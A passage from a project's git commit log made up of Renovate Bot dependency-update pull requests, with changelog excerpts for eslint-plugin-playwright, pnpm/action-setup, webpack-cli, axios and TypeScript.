([#​20285](https://github.com/eslint/eslint/issues/20285)) (renovate\[bot]) </details> <details> <summary>mskelton/eslint-plugin-playwright (eslint-plugin-playwright)</summary> ### [`v2.10.2`](https://github.com/mskelton/eslint-plugin-playwright/releases/tag/v2.10.2) [Compare Source](https://github.com/mskelton/eslint-plugin-playwright/compare/v2.10.1...v2.10.2) ##### Bug Fixes - **missing-playwright-await:** Fix false positive when re-assigning awaited variable ([8cca0ac](https://github.com/mskelton/eslint-plugin-playwright/commit/8cca0ac362d9ddbce899195f1433f8d853efc3d0)), closes [#​456](https://github.com/mskelton/eslint-plugin-playwright/issues/456) - **no-duplicate-hooks:** handle anonymous describe blocks in forEach loops ([8b4ec60](https://github.com/mskelton/eslint-plugin-playwright/commit/8b4ec601a0f801dc2a8701d66f12e28102ffc934)), closes [#​459](https://github.com/mskelton/eslint-plugin-playwright/issues/459) - **valid-test-tags:** Support template literal strings ([d98a05c](https://github.com/mskelton/eslint-plugin-playwright/commit/d98a05cb51150bee283109e041e8e458f6d7bc5f)), closes [#​460](https://github.com/mskelton/eslint-plugin-playwright/issues/460) ### [`v2.10.1`](https://github.com/mskelton/eslint-plugin-playwright/releases/tag/v2.10.1) [Compare Source](https://github.com/mskelton/eslint-plugin-playwright/compare/v2.10.0...v2.10.1) ##### Bug Fixes - **missing-playwright-await:** Don't flag Array.fill as missing await ([cff9640](https://github.com/mskelton/eslint-plugin-playwright/commit/cff96403204e3cac83faf2d1768e3ded1378302d)), closes [#​450](https://github.com/mskelton/eslint-plugin-playwright/issues/450) - Narrow page detection to prefer false positives ([10238e1](https://github.com/mskelton/eslint-plugin-playwright/commit/10238e173e42725a369db5ee7fb162b1ee99d790)) ### [`v2.10.0`](https://github.com/mskelton/eslint-plugin-playwright/releases/tag/v2.10.0) [Compare Source](https://github.com/mskelton/eslint-plugin-playwright/compare/v2.9.0...v2.10.0) ##### Bug Fixes - **missing-playwright-await:** Fix false positive with `expect().resolves` ([352e15e](https://github.com/mskelton/eslint-plugin-playwright/commit/352e15e0e28cda5c7f7fbcd5bd6d01cf634aea3e)), closes [#​448](https://github.com/mskelton/eslint-plugin-playwright/issues/448) - Support additional promise methods ([8646e62](https://github.com/mskelton/eslint-plugin-playwright/commit/8646e62527202cf11da6c00afc7f7e376d00773f)), closes [#​444](https://github.com/mskelton/eslint-plugin-playwright/issues/444) ##### Features - **missing-playwright-await:** Add `includePageLocatorMethods` flag for checking more missing awaits ([#​438](https://github.com/mskelton/eslint-plugin-playwright/issues/438)) ([41921f8](https://github.com/mskelton/eslint-plugin-playwright/commit/41921f8509bfa90ccef91d86ed874408b60a7abb)), closes [#​159](https://github.com/mskelton/eslint-plugin-playwright/issues/159) - **no-skipped-test:** Support `disallowFixme` to optionally disable `.fixme()` annotations ([6b42fdb](https://github.com/mskelton/eslint-plugin-playwright/commit/6b42fdb5cf74c6a98b7544e2931bd157cda88e51)), closes [#​446](https://github.com/mskelton/eslint-plugin-playwright/issues/446) ### [`v2.9.0`](https://github.com/mskelton/eslint-plugin-playwright/releases/tag/v2.9.0) [Compare Source](https://github.com/mskelton/eslint-plugin-playwright/compare/v2.8.0...v2.9.0) ##### Bug Fixes - **no-restricted-roles:** Catch all uses, not just on page methods ([1861fa5](https://github.com/mskelton/eslint-plugin-playwright/commit/1861fa57fd21b8d2d17cbd96238fdf5970277686)) - Support nested locators everywhere ([0e48186](https://github.com/mskelton/eslint-plugin-playwright/commit/0e48186885a8868d3163cdd2d2732c3f227056ab)) ##### Features - **no-duplicate-hooks:** Mark as recommended ([fe3ca54](https://github.com/mskelton/eslint-plugin-playwright/commit/fe3ca54178cde017388aa5d844553a9b7a9d1307)) - **no-duplicate-slow:** Mark as recommended ([2f0b67d](https://github.com/mskelton/eslint-plugin-playwright/commit/2f0b67d841dd8f091f7c8ab44a6eadb34255127b)) - **prefer-hooks-in-order:** Mark as recommended ([e8ae16e](https://github.com/mskelton/eslint-plugin-playwright/commit/e8ae16ef219ce943749b194fc972b27a0162e8cb)) - **prefer-hooks-on-top:** Mark as recommended ([5ab9296](https://github.com/mskelton/eslint-plugin-playwright/commit/5ab929677dea5263b69e2fe44a43cf711b1bbb16)) - **prefer-locator:** Mark as recommended ([fcab221](https://github.com/mskelton/eslint-plugin-playwright/commit/fcab221c092c290c8b2b851b669ea0b1774ec75c)) - **prefer-to-have-count:** Mark as recommended ([fcbf086](https://github.com/mskelton/eslint-plugin-playwright/commit/fcbf086ae637cf569530856e7690b6da85a5c5fe)) - **prefer-to-have-length:** Mark as recommended ([c6c923e](https://github.com/mskelton/eslint-plugin-playwright/commit/c6c923e6b382c1bee4de89e2cf9781511a37e7a0)) ### [`v2.8.0`](https://github.com/mskelton/eslint-plugin-playwright/releases/tag/v2.8.0) [Compare Source](https://github.com/mskelton/eslint-plugin-playwright/compare/v2.7.1...v2.8.0) ##### Bug Fixes - Add missing test coverage and fix several minor bugs ([#​434](https://github.com/mskelton/eslint-plugin-playwright/issues/434)) ([e3398ec](https://github.com/mskelton/eslint-plugin-playwright/commit/e3398ec61da52de205e7c9af2896633357769f74)) - **missing-playwright-await:** Handle spread elements ([df30163](https://github.com/mskelton/eslint-plugin-playwright/commit/df3016323819f7bc335fd1841971dccc2ae64f51)), closes [#​430](https://github.com/mskelton/eslint-plugin-playwright/issues/430) - **missing-playwright-await:** Support more promise edge cases ([b4cdcbd](https://github.com/mskelton/eslint-plugin-playwright/commit/b4cdcbd010a2b4dfc7ee14ab5bdc655897389f19)) ##### Features - Auto-detect `test.extend()` fixtures and import aliases ([#​432](https://github.com/mskelton/eslint-plugin-playwright/issues/432)) ([8b22ee7](https://github.com/mskelton/eslint-plugin-playwright/commit/8b22ee7b1f7823d81bafda82e240dd51106726dd)) ### [`v2.7.1`](https://github.com/mskelton/eslint-plugin-playwright/releases/tag/v2.7.1) [Compare Source](https://github.com/mskelton/eslint-plugin-playwright/compare/v2.7.0...v2.7.1) ##### Bug Fixes - **missing-playwirght-await:** Fix false positive with promise chains ([6e4f5ff](https://github.com/mskelton/eslint-plugin-playwright/commit/6e4f5ff4876c4e92542e7fde20ec5314d4b36ba5)) ### [`v2.7.0`](https://github.com/mskelton/eslint-plugin-playwright/releases/tag/v2.7.0) [Compare Source](https://github.com/mskelton/eslint-plugin-playwright/compare/v2.6.1...v2.7.0) ##### Features - Support ESLint 10 ([aa5315b](https://github.com/mskelton/eslint-plugin-playwright/commit/aa5315b70cd2481d3093d27435d1938585e1de9a)), closes [#​424](https://github.com/mskelton/eslint-plugin-playwright/issues/424) ### [`v2.6.1`](https://github.com/mskelton/eslint-plugin-playwright/releases/tag/v2.6.1) [Compare Source](https://github.com/mskelton/eslint-plugin-playwright/compare/v2.6.0...v2.6.1) ##### Bug Fixes - Exclude `@typescript-eslint/utils` from the bundle ([6547702](https://github.com/mskelton/eslint-plugin-playwright/commit/6547702acf8b09736f36d79a2daec0219b930986)), closes [#​425](https://github.com/mskelton/eslint-plugin-playwright/issues/425) ### [`v2.6.0`](https://github.com/mskelton/eslint-plugin-playwright/releases/tag/v2.6.0) [Compare Source](https://github.com/mskelton/eslint-plugin-playwright/compare/v2.5.1...v2.6.0) ##### Bug Fixes - **docs:** consistent-spacing-between-blocks name ([#​421](https://github.com/mskelton/eslint-plugin-playwright/issues/421)) ([f2306ed](https://github.com/mskelton/eslint-plugin-playwright/commit/f2306ed279a1434beef3f5eca83ce384b848dce4)) - **valid-title:** Ignore variables we can't statically determine ([1597555](https://github.com/mskelton/eslint-plugin-playwright/commit/15975557f1e6a792a6e0ae843ae5c98496ae8f91)), closes [#​368](https://github.com/mskelton/eslint-plugin-playwright/issues/368) ##### Features - Add `no-duplicate-slow` rule ([dac9495](https://github.com/mskelton/eslint-plugin-playwright/commit/dac94950502698708f7e001f54fa7c505c20dafc)), closes [#​418](https://github.com/mskelton/eslint-plugin-playwright/issues/418) - Add `no-restricted-roles` rule ([#​422](https://github.com/mskelton/eslint-plugin-playwright/issues/422)) ([91817bf](https://github.com/mskelton/eslint-plugin-playwright/commit/91817bf63fb6b764af6e85f4968eff7165ae52a3)) - Add `require-to-pass-timeout` rule ([e620e87](https://github.com/mskelton/eslint-plugin-playwright/commit/e620e87ccf3e585a99acb500c4c635e8d1320cf8)), closes [#​345](https://github.com/mskelton/eslint-plugin-playwright/issues/345) - Add require-tags rule ([c83b13a](https://github.com/mskelton/eslint-plugin-playwright/commit/c83b13ab08cd4631129a28a44b7f1ea29b17585b)), closes [#​401](https://github.com/mskelton/eslint-plugin-playwright/issues/401) - **missing-playwright-await:** Add support for waitForResponse and other similar functions ([960be8a](https://github.com/mskelton/eslint-plugin-playwright/commit/960be8a5a7418f42a9485f8e00e71a6729c46f70)), closes [#​199](https://github.com/mskelton/eslint-plugin-playwright/issues/199) ### [`v2.5.1`](https://github.com/mskelton/eslint-plugin-playwright/releases/tag/v2.5.1) [Compare Source](https://github.com/mskelton/eslint-plugin-playwright/compare/v2.5.0...v2.5.1) ##### Bug Fixes - **no-conditional-in-test:** Fix false positive for `||` ([611657c](https://github.com/mskelton/eslint-plugin-playwright/commit/611657c3cb5b932c9f261c297c4ab01d1fed4a6c)) ### [`v2.5.0`](https://github.com/mskelton/eslint-plugin-playwright/releases/tag/v2.5.0) [Compare Source](https://github.com/mskelton/eslint-plugin-playwright/compare/v2.4.1...v2.5.0) ##### Bug Fixes - Fix lint ([4e8461d](https://github.com/mskelton/eslint-plugin-playwright/commit/4e8461dc5b73018d706782c729fbcce67347b7f6)) - Fix TypeScript types ([af7d870](https://github.com/mskelton/eslint-plugin-playwright/commit/af7d8702121f58eb5974b81a514470542162823c)) ##### Features - Add `enforce-consistent-spacing-between-blocks` rule ([#​411](https://github.com/mskelton/eslint-plugin-playwright/issues/411)) ([a9b78d5](https://github.com/mskelton/eslint-plugin-playwright/commit/a9b78d5d0c7a7c051d9bee85a584ca483dd22777)) - Add no-restricted-locators rule ([a65200b](https://github.com/mskelton/eslint-plugin-playwright/commit/a65200b1773b49ccafbd9a9b8a81e4e9f700bd67)), closes [#​407](https://github.com/mskelton/eslint-plugin-playwright/issues/407) - **prefer-web-first-assertions:** Support `allInnerTexts()` and `allTextContents()` ([36917a8](https://github.com/mskelton/eslint-plugin-playwright/commit/36917a86fb7e4ef49837e7657a8363d55f06e461)), closes [#​362](https://github.com/mskelton/eslint-plugin-playwright/issues/362) ### [`v2.4.1`](https://github.com/mskelton/eslint-plugin-playwright/releases/tag/v2.4.1) [Compare Source](https://github.com/mskelton/eslint-plugin-playwright/compare/v2.4.0...v2.4.1) ##### Bug Fixes - **no-conditional-in-test:** allow nullish coalescing operator ([2c25b4f](https://github.com/mskelton/eslint-plugin-playwright/commit/2c25b4fe3b7d487a8cc06c43a1bf91fea3f3c7ea)), closes [#​406](https://github.com/mskelton/eslint-plugin-playwright/issues/406) ### [`v2.4.0`](https://github.com/mskelton/eslint-plugin-playwright/releases/tag/v2.4.0) [Compare Source](https://github.com/mskelton/eslint-plugin-playwright/compare/v2.3.0...v2.4.0) ##### Bug Fixes - **missing-playwright-await:** prevent infinite recursion in checkValidity ([9ce346d](https://github.com/playwright-community/eslint-plugin-playwright/commit/9ce346ddde659050714bbe770363e3cbe1361c9c)) ##### Features - **expect-expect:** Support regex patterns ([#​390](https://github.com/playwright-community/eslint-plugin-playwright/issues/390)) ([fdd0253](https://github.com/playwright-community/eslint-plugin-playwright/commit/fdd025339b68173cb5aec57f83c8bc9792388be1)) ### [`v2.3.0`](https://github.com/mskelton/eslint-plugin-playwright/releases/tag/v2.3.0) [Compare Source](https://github.com/mskelton/eslint-plugin-playwright/compare/v2.2.2...v2.3.0) ##### Bug Fixes - Check for test tags in titles ([377238c](https://github.com/playwright-community/eslint-plugin-playwright/commit/377238ccdecb88c8fd62abbb8dd8e89d8397236b)), closes [#​392](https://github.com/playwright-community/eslint-plugin-playwright/issues/392) ##### Features - Add no-unused-locators rule ([#​396](https://github.com/playwright-community/eslint-plugin-playwright/issues/396)) ([c0937d7](https://github.com/playwright-community/eslint-plugin-playwright/commit/c0937d72d2f102fd7531c86fb135256293e9be85)) ### [`v2.2.2`](https://github.com/mskelton/eslint-plugin-playwright/releases/tag/v2.2.2) [Compare Source](https://github.com/mskelton/eslint-plugin-playwright/compare/v2.2.1...v2.2.2) ##### Bug Fixes - **prefer-web-first-assertions:** Fix false positive ([#​384](https://github.com/playwright-community/eslint-plugin-playwright/issues/384)) ([38a559e](https://github.com/playwright-community/eslint-plugin-playwright/commit/38a559e69978c19206d4a7a032f8fb4227306a11)) - **valid-test-tags:** disallow extra properties in rule options and add to recommended ([#​381](https://github.com/playwright-community/eslint-plugin-playwright/issues/381)) ([4762bbd](https://github.com/playwright-community/eslint-plugin-playwright/commit/4762bbdc13a5832266538b6fbcace391cc3aadfd)) ### [`v2.2.1`](https://github.com/mskelton/eslint-plugin-playwright/releases/tag/v2.2.1) [Compare Source](https://github.com/mskelton/eslint-plugin-playwright/compare/v2.2.0...v2.2.1) ##### Features - Support addInitScript in no-unsafe-references - Add toContainClass method - Add valid-test-tags rule - Add no-wait-for-navigation rule ##### Bug Fixes - clean published package.json ([#​371](https://github.com/playwright-community/eslint-plugin-playwright/issues/371)) ([b8401e5](https://github.com/playwright-community/eslint-plugin-playwright/commit/b8401e51669c251ae31b4cdc610bdc4a0b3e9aba)), closes [#​360](https://github.com/playwright-community/eslint-plugin-playwright/issues/360) - no-conditional-in-test does not trigger for conditionals in test metadata (fixes [#​363](https://github.com/playwright-community/eslint-plugin-playwright/issues/363)) ([#​372](https://github.com/playwright-community/eslint-plugin-playwright/issues/372)) ([12b0832](https://github.com/playwright-community/eslint-plugin-playwright/commit/12b083248e50f6e23e95f7d3fbc6034672e87ba7)) - Remove no-slowed-test from recommended list ([#​348](https://github.com/playwright-community/eslint-plugin-playwright/issues/348)) ([6baec3a](https://github.com/playwright-community/eslint-plugin-playwright/commit/6baec3ac2861b6cd2c8fcb83c61d00b4e3c82128)) - Support non-awaited expressions in prefer-web-first-assertions - Allow valid locators declared as variables - Fix false positive when using allowConditional ### [`v2.2.0`](https://github.com/mskelton/eslint-plugin-playwright/releases/tag/v2.2.0) [Compare Source](https://github.com/mskelton/eslint-plugin-playwright/compare/v2.1.0...v2.2.0) ##### Features - Add `no-slowed-test` rule ([#​302](https://github.com/playwright-community/eslint-plugin-playwright/issues/302)) ([53df693](https://github.com/playwright-community/eslint-plugin-playwright/commit/53df693a1c9348205d453c1b791adf4f60242f0d)), closes [#​296](https://github.com/playwright-community/eslint-plugin-playwright/issues/296) - Add support for Playwright 1.50 ([#​347](https://github.com/playwright-community/eslint-plugin-playwright/issues/347)) ([956fe62](https://github.com/playwright-community/eslint-plugin-playwright/commit/956fe626c06bd12f57a1ed6fa009421bb0ce296a)) ##### Bug Fixes - **expect-expert:** report on test function identifier rather than body ([#​337](https://github.com/playwright-community/eslint-plugin-playwright/issues/337)) ([35e37a1](https://github.com/playwright-community/eslint-plugin-playwright/commit/35e37a12fb0691f6e549b01621c75c9556121899)) - **prefer-comparison-matcher:** Fix typo in docs ([c269371](https://github.com/playwright-community/eslint-plugin-playwright/commit/c269371be2dbc4557dcd24c24e06b8db056f681a)), closes [#​343](https://github.com/playwright-community/eslint-plugin-playwright/issues/343) ### [`v2.1.0`](https://github.com/mskelton/eslint-plugin-playwright/releases/tag/v2.1.0) [Compare Source](https://github.com/mskelton/eslint-plugin-playwright/compare/v2.0.1...v2.1.0) ##### Features - Add `test.fail.only` as a valid chain ([c067ad2](https://github.com/playwright-community/eslint-plugin-playwright/commit/c067ad203fba4617a9e04ee610dc0ee3d1b40f04)) ### [`v2.0.1`](https://github.com/mskelton/eslint-plugin-playwright/releases/tag/v2.0.1) [Compare Source](https://github.com/mskelton/eslint-plugin-playwright/compare/v2.0.0...v2.0.1) ##### Bug Fixes - Fix types for native TypeScript ESM ([4c61256](https://github.com/playwright-community/eslint-plugin-playwright/commit/4c61256978556570b4f528eb2ba932ebee110609)) ### [`v2.0.0`](https://github.com/mskelton/eslint-plugin-playwright/releases/tag/v2.0.0) [Compare Source](https://github.com/mskelton/eslint-plugin-playwright/compare/v1.8.3...v2.0.0) ##### ⚠ BREAKING CHANGES - Remove jest-playwright configs ##### Features - Remove jest-playwright configs ([ba82509](https://github.com/playwright-community/eslint-plugin-playwright/commit/ba82509db582481df8805e310b797ac710c5e37b)) ##### Bug Fixes - Fix type exports ([f566df5](https://github.com/playwright-community/eslint-plugin-playwright/commit/f566df55f139a6ef37253cbda90f28889ed768f8)) </details> --- ### Configuration 📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined). 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://github.com/renovatebot/renovate/discussions) if that's undesired. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19--> Reviewed-on: https://git.unespace.com/julien/apf_portal/pulls/36 Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com> Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com> |
||
|
|
3e4c580519 |
chore(deps): update pnpm/action-setup action to v6 (#37)
This PR contains the following updates: | Package | Type | Update | Change | |---|---|---|---| | [pnpm/action-setup](https://github.com/pnpm/action-setup) | action | major | `v3` -> `v6` | --- ### Release Notes <details> <summary>pnpm/action-setup (pnpm/action-setup)</summary> ### [`v6`](https://github.com/pnpm/action-setup/compare/v5...v6) [Compare Source](https://github.com/pnpm/action-setup/compare/v5...v6) ### [`v5`](https://github.com/pnpm/action-setup/compare/v4...v5) [Compare Source](https://github.com/pnpm/action-setup/compare/v4...v5) </details> --- ### Configuration 📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined). 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19--> Reviewed-on: #37 Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com> Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com> |
||
|
|
eb87f0e6bb |
chore(deps): update dependency webpack-cli to v7 (#34)
This PR contains the following updates: | Package | Type | Update | Change | |---|---|---|---| | [webpack-cli](https://github.com/webpack/webpack-cli/tree/main/packages/webpack-cli) ([source](https://github.com/webpack/webpack-cli)) | devDependencies | major | [`^5.1.4` -> `^7.0.0`](https://renovatebot.com/diffs/npm/webpack-cli/5.1.4/7.0.2) | --- ### Release Notes <details> <summary>webpack/webpack-cli (webpack-cli)</summary> ### [`v7.0.2`](https://github.com/webpack/webpack-cli/blob/HEAD/CHANGELOG.md#702) [Compare Source](https://github.com/webpack/webpack-cli/compare/webpack-cli@7.0.1...webpack-cli@7.0.2) ##### Patch Changes - Resolve configuration path for cache build dependencies. (by [@​alexander-akait](https://github.com/alexander-akait) in [#​4707](https://github.com/webpack/webpack-cli/pull/4707)) ### [`v7.0.1`](https://github.com/webpack/webpack-cli/blob/HEAD/CHANGELOG.md#701) [Compare Source](https://github.com/webpack/webpack-cli/compare/webpack-cli@7.0.0...webpack-cli@7.0.1) ##### Patch Changes - The `file` protocol for configuration options (`--config`/`--extends`) is supported. (by [@​alexander-akait](https://github.com/alexander-akait) in [#​4702](https://github.com/webpack/webpack-cli/pull/4702)) ### [`v7.0.0`](https://github.com/webpack/webpack-cli/blob/HEAD/CHANGELOG.md#700) [Compare Source](https://github.com/webpack/webpack-cli/compare/webpack-cli@6.0.1...webpack-cli@7.0.0) ##### Major Changes - The minimum supported version of Node.js is `20.9.0`. (by [@​alexander-akait](https://github.com/alexander-akait) in [#​4677](https://github.com/webpack/webpack-cli/pull/4677)) - Use dynamic import to load `webpack.config.js`, fallback to interpret only when configuration can't be load by dynamic import. Using dynamic imports allows you to take advantage of Node.js's built-in TypeScript support. (by [@​alexander-akait](https://github.com/alexander-akait) in [#​4677](https://github.com/webpack/webpack-cli/pull/4677)) - Removed the `--node-env` argument in favor of the `--config-node-env` argument. (by [@​alexander-akait](https://github.com/alexander-akait) in [#​4677](https://github.com/webpack/webpack-cli/pull/4677)) - The `version` command only output versions right now. (by [@​alexander-akait](https://github.com/alexander-akait) in [#​4677](https://github.com/webpack/webpack-cli/pull/4677)) - Removed deprecated API, no action required unless you use `import cli from "webpack-cli";`/`const cli = require("webpack-cli");`. (by [@​alexander-akait](https://github.com/alexander-akait) in [#​4677](https://github.com/webpack/webpack-cli/pull/4677)) ##### Patch Changes - Allow configuration freezing. (by [@​alexander-akait](https://github.com/alexander-akait) in [#​4677](https://github.com/webpack/webpack-cli/pull/4677)) - Use graceful shutdown when file system cache is enabled. (by [@​alexander-akait](https://github.com/alexander-akait) in [#​4677](https://github.com/webpack/webpack-cli/pull/4677)) - Performance improved. (by [@​alexander-akait](https://github.com/alexander-akait) in [#​4677](https://github.com/webpack/webpack-cli/pull/4677)) ### [`v6.0.1`](https://github.com/webpack/webpack-cli/blob/HEAD/CHANGELOG.md#601-2024-12-20) [Compare Source](https://github.com/webpack/webpack-cli/compare/webpack-cli@6.0.0...webpack-cli@6.0.1) ##### Bug Fixes - update peer dependencies ([#​4356](https://github.com/webpack/webpack-cli/issues/4356)) ([7a7e5d9](https://github.com/webpack/webpack-cli/commit/7a7e5d9f4bd796c7d1089db228b9581e97cc897e)) ### [`v6.0.0`](https://github.com/webpack/webpack-cli/blob/HEAD/CHANGELOG.md#600-2024-12-19) [Compare Source](https://github.com/webpack/webpack-cli/compare/webpack-cli@5.1.4...webpack-cli@6.0.0) ##### BREAKING CHANGES - the minimum required Node.js version is `18.12.0` - removed `init`, `loader` and `plugin` commands in favor [`create-webpack-app`](https://github.com/webpack/webpack-cli/tree/main/packages/create-webpack-app) - dropped support for `webpack-dev-server@v4` - minimum supported webpack version is `5.82.0` - the `--define-process-env-node-env` option was renamed to `--config-node-env` ##### Bug Fixes - allow to require `webpack.config.js` in ESM format ([#​4346](https://github.com/webpack/webpack-cli/issues/4346)) ([5106684](https://github.com/webpack/webpack-cli/commit/51066846326bcae5f9793d3496325213342d3dd2)) - correct the minimum help output ([#​4057](https://github.com/webpack/webpack-cli/issues/4057)) ([c727c4f](https://github.com/webpack/webpack-cli/commit/c727c4f3c790797cf46a6c0bc83ba77803d3eb05)) - gracefully shutting down ([#​4145](https://github.com/webpack/webpack-cli/issues/4145)) ([90720e2](https://github.com/webpack/webpack-cli/commit/90720e26ba3b0d115ed066fb8ec3db074751163e)) - improve help output for possible values ([#​4316](https://github.com/webpack/webpack-cli/issues/4316)) ([4cd5aef](https://github.com/webpack/webpack-cli/commit/4cd5aef3b93e3d73b5175c36cf9e8f9ae4455cb2)) - no serve when dev-server is false ([#​2947](https://github.com/webpack/webpack-cli/issues/2947)) ([a93e860](https://github.com/webpack/webpack-cli/commit/a93e8603a4c2639916152a013afed04c0e8f3a35)) ##### Features - output pnpm version with `info`/`version` command ([#​3906](https://github.com/webpack/webpack-cli/issues/3906)) ([38f3c6f](https://github.com/webpack/webpack-cli/commit/38f3c6f2b99f098d2f4afd60f005e8ff5cd44435)) #### [5.1.4](https://github.com/webpack/webpack-cli/compare/webpack-cli@5.1.3...webpack-cli@5.1.4) (2023-06-07) ##### Bug Fixes - multi compiler progress output ([f659624](https://github.com/webpack/webpack-cli/commit/f6596242c74100bfd6fa391ed2071402a3bd4785)) #### [5.1.3](https://github.com/webpack/webpack-cli/compare/webpack-cli@5.1.2...webpack-cli@5.1.3) (2023-06-04) ##### Bug Fixes - regression for custom configurations ([#​3834](https://github.com/webpack/webpack-cli/issues/3834)) ([bb4f8eb](https://github.com/webpack/webpack-cli/commit/bb4f8eb4325219afae3203dc4893af2b4655d5fa)) #### [5.1.2](https://github.com/webpack/webpack-cli/compare/webpack-cli@5.1.1...webpack-cli@5.1.2) (2023-06-04) ##### Bug Fixes - improve check for custom webpack and webpack-dev-server package existance ([0931ab6](https://github.com/webpack/webpack-cli/commit/0931ab6dfd8d9f511036bcb7c1a4ea8dde1ff1cb)) - improve help for some flags ([f468614](https://github.com/webpack/webpack-cli/commit/f4686141681cfcbc74d57e69a732e176decff225)) - improved support for `.cts` and `.mts` extensions ([a77daf2](https://github.com/webpack/webpack-cli/commit/a77daf28f8a8ad96410a39d565f011f6bb14f6bb)) #### [5.1.1](https://github.com/webpack/webpack-cli/compare/webpack-cli@5.1.0...webpack-cli@5.1.1) (2023-05-09) ##### Bug Fixes - false positive warning when `--watch` used ([#​3783](https://github.com/webpack/webpack-cli/issues/3783)) ([c0436ba](https://github.com/webpack/webpack-cli/commit/c0436baca2da7a8ce9e53bbbe960dd1951fe6404)) </details> --- ### Configuration 📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined). 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19--> Reviewed-on: https://git.unespace.com/julien/apf_portal/pulls/34 Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com> Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com> |
||
|
|
eed37ede7f |
fix(deps): update dependency axios to v1.16.0 (#35)
This PR contains the following updates: | Package | Type | Update | Change | |---|---|---|---| | [axios](https://axios-http.com) ([source](https://github.com/axios/axios)) | dependencies | minor | [`1.15.2` -> `1.16.0`](https://renovatebot.com/diffs/npm/axios/1.15.2/1.16.0) | --- ### Release Notes <details> <summary>axios/axios (axios)</summary> ### [`v1.16.0`](https://github.com/axios/axios/blob/HEAD/CHANGELOG.md#v1160--May-2-2026) [Compare Source](https://github.com/axios/axios/compare/v1.15.2...v1.16.0) This release adds support for the QUERY HTTP method and a new `ECONNREFUSED` error constant, lands a substantial wave of HTTP, fetch, and XHR adapter bug fixes around redirects, aborts, headers, and timeouts, and welcomes 23 new contributors. </details> --- ### Configuration 📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined). 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19--> Reviewed-on: #35 Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com> Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com> |
||
|
|
12e3055772 |
chore(deps): update dependency typescript to v6 (#33)
This PR contains the following updates: | Package | Type | Update | Change | |---|---|---|---| | [typescript](https://www.typescriptlang.org/) ([source](https://github.com/microsoft/TypeScript)) | devDependencies | major | [`~5.9.2` -> `~6.0.0`](https://renovatebot.com/diffs/npm/typescript/5.9.3/6.0.3) | --- ### Release Notes <details> <summary>microsoft/TypeScript (typescript)</summary> ### [`v6.0.3`](https://github.com/microsoft/TypeScript/releases/tag/v6.0.3): TypeScript 6.0.3 [Compare Source](https://github.com/microsoft/TypeScript/compare/v6.0.2...v6.0.3) For release notes, check out the [release announcement blog post](https://devblogs.microsoft.com/typescript/announcing-typescript-6-0/). - [fixed issues query for TypeScript 6.0.0 (Beta)](https://github.com/Microsoft/TypeScript/issues?utf8=%E2%9C%93\&q=milestone%3A%22TypeScript+6.0.0%22). - [fixed issues query for TypeScript 6.0.1 (RC)](https://github.com/Microsoft/TypeScript/issues?utf8=%E2%9C%93\&q=milestone%3A%22TypeScript+6.0.1%22). - [fixed issues query for TypeScript 6.0.2 (Stable)](https://github.com/Microsoft/TypeScript/issues?utf8=%E2%9C%93\&q=milestone%3A%22TypeScript+6.0.2%22). - [fixed issues query for TypeScript 6.0.3 (Stable)](https://github.com/Microsoft/TypeScript/issues?utf8=%E2%9C%93\&q=milestone%3A%22TypeScript+6.0.3%22). Downloads are available on: - [npm](https://www.npmjs.com/package/typescript) ### [`v6.0.2`](https://github.com/microsoft/TypeScript/releases/tag/v6.0.2): TypeScript 6.0 [Compare 